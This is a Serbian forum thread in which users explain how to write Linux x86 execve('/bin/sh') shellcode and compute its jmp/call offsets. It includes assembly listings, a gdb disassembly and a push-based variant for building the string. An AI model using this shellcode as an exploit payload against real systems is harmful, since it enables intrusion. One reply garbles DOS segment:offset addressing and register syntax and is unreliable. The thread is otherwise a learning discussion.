[ punkey @ 03.03.2002. 19:25 ] @
recimo da imamo sledeci asm kod koji je ustvari shellcode:
void main(){
__asm__("jmp 0x1e \n" //jmp to call
"popl %esi \n" //get seved EIP to esi,now we have /bin/sh address
"movl %esi,0x8(%esi) \n" //address of sh behind /bin/sh
"movl $0x0,0xc(%esi) \n" //NULL as 3rd argument goes after sh address
"movb $0x0,0x7(%esi) \n" //terminate /bin/sh with '\0'
"movl %esi,%ebx \n" //address of sh[0] in %ebx
"leal %0x8(%esi),%ecx \n" //address of sh in %ecx(2nd argument)
"leal %0xc(%esi),%edx \n" //address of NULL in %edx(3rd argument)
"movl $0xb,%eax \n" //sys call of execve in %eax
" int $0x80 \n" //kernel mode
" call -0x23 \n" //call popl %esi
" .string \"/bin/sh\" \n"); //our string
}

e interesuje me kako izracunati brojku koja stoji pored jmp instrukcije koja skace na call, tj. kako se izracunava ta udaljenost na koju treba skociti? tnx unapred!
[ random @ 03.03.2002. 23:27 ] @
Vrlo jednostavno, to je broj bajtova koji treba da se preskoči do instrukcije call. Iskompajiraj to, otvori ga u debageru (gdb imefajla.c), i uradi "disass main", dobićeš nešto u stilu

Code:

Dump of assembler code for function main:
0x804839c <main>:       push   %ebp
0x804839d <main+1>:     mov    %esp,%ebp
0x804839f <main+3>:     jmp    0x1e
0x80483a4 <main+8>:     pop    %esi
0x80483a5 <main+9>:     mov    %esi,0x8(%esi)
0x80483a8 <main+12>:    movl   $0x0,0xc(%esi)
0x80483af <main+19>:    movb   $0x0,0x7(%esi)
0x80483b3 <main+23>:    mov    %esi,%ebx
0x80483b5 <main+25>:    lea    0x8(%esi),%ecx
0x80483b8 <main+28>:    lea    0xc(%esi),%edx
0x80483bb <main+31>:    mov    $0xb,%eax
0x80483c0 <main+36>:    int    $0x80
0x80483c2 <main+38>:    call   0xffffffdd
(i tako dalje)...


Sad primeti da je u trenutku izvršavanja jmp instrukcije EIP 0x80483a4, a call instrukcija se nalazi na adresi 0x80483c2 (kod tebe će adrese možda biti drugačije!). Razlika ove dve adrese je upravo offset za koji treba da se skoči -- 0x80483c2 - 0x80483a4 = 0x1e!
[ punkey @ 06.03.2002. 17:08 ] @
ajde da ne otvaram novi topic, ovde cu da postavim jos par pitanja u vezi ove teme. recimo imamo sledeci kod:

jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.

e interesuju me sledece stvari sta je ustvari array-offset, pa null offset etc. ma najbolje bi bilo ako bi neko mogao ljudski objasniti sve ovo, bas kao sto je random objasnio odgovor na moje prethodno pitanje. hvala unapred!
[ SnOoP @ 19.03.2002. 03:38 ] @
kao prvo pametno bi bilo da kopiras cjeli code jer tako i moze da se izracuna offset za kojekakvu operaciju jmp call funkcija etc...

1. prvo moras da se pitas sta je offset.. potom bi bilo dobro da znas i sta je segment (segment:offset)

sta je segment.. memorija je segmentovana u kolekciju bajtova... i ona se moze accessovati samo ako spesifikujes OFFSET broj koji se nalazi u XXXX segmentu...
npr: 4:3 Segment =4 .. offset 3... i da bi dobijo physical addres segment:offset`a uradis ovu kalkulaciju:

4(segment) x 10(hex) = 40 + 3 (offset) .. physical address = 0x43

Code:

         +--+--+--+--+--+
       5 |  |  |  |  |  |
         +--+--+--+--+--+
       4 |  |  |* |  |  |
Y axis   +--+--+--+--+--+
       3 |  |  |  |  |  |
         +--+--+--+--+--+
       2 |  |  |  |  |  |
         +--+--+--+--+--+
       1 |  |  |  |  |  |
         +--+--+--+--+--+
           1  2  3  4  5  
             X axis     

ili jos lakse ako se gleda bas tako... npr.

evo jedan lagan programcic

db "Sta ima care$" ; string koji zelimo da isprintamo
movl %eah,9 ; adresa funkcije koju cemo da stavimo u ah akumulator (koji je inace koriscen za I/O funkcije, operatore
movl %edx,OFFSET : broj offsetá koji ce da ide u dx akumulator (koji se inace koristi za drugaciju datu.. ili character display)
int 21 ; call za funkciju slucnu printf(); u c`u(STDOUT)
int 20 ; terminate (exit)

e sada gde je movl %edx,OFFSET <--- ovaj tu broj ce da bude adresa gde se onaj string "Sta ima care" nalazi.
npr

100:100 db "Sta ima care$"
znaci
sledeca sledeca linija ce da bude
mov %edx,100 (offset)

offset je broj koji udaljava dva pointa u memori...
1 *bla
2
3
4
5 *blahhhh

*blahhhh je udaljen 4 mjesta od *bla
vrlo sam pospan i mrvicu pjan dok pisem ovo al nadam se da ti je pomoglo...
bar malo
hehe


[Ovu poruku je menjao random dana 01.12.2004. u 04:59 GMT+1]
[ SnOoP @ 19.03.2002. 03:39 ] @
uh izvinjavam se za onaj table ... nije bas ispo sto sam ja mislijo da ce da ispadne al uglavnom gledaj ga kao x axis i y axis
:)
[ Vojislav Milunovic @ 06.11.2004. 22:52 ] @
Si probao sa labelima?
ono tipa

Code:

jmp ovde
..........
ovde:
call .....


mislim da compiler bese to automatski pretvara u brojku...
Tako da otvori u dbg pogledaj koju je brojku stavio kod jmp i eto =)

ps. da se ogradim davno se nisam baktao ovim ali mislim da sam
ja tako resavao taj problem =)

p.s. sad sam proverio i da =) tako sam ja resavao taj problem

evo vako:
Code:

jmp lcall:
leip:
pop ebp

lcall:
call leip


Mada imas jos bolju tehniku a to ti je da napravis /bin/sh string putem push instrukcija i dobijes znatno manji shellcode =)
nesto ovako bi trebalo da izgleda, a ti poslepreradi u hex
Code:

xor eax, eax
push eax  <--- null terminated string
push //sh
push /bin
mov ebx, esp        <--- u ESP imas adresu od /bin/sh eto to je to =)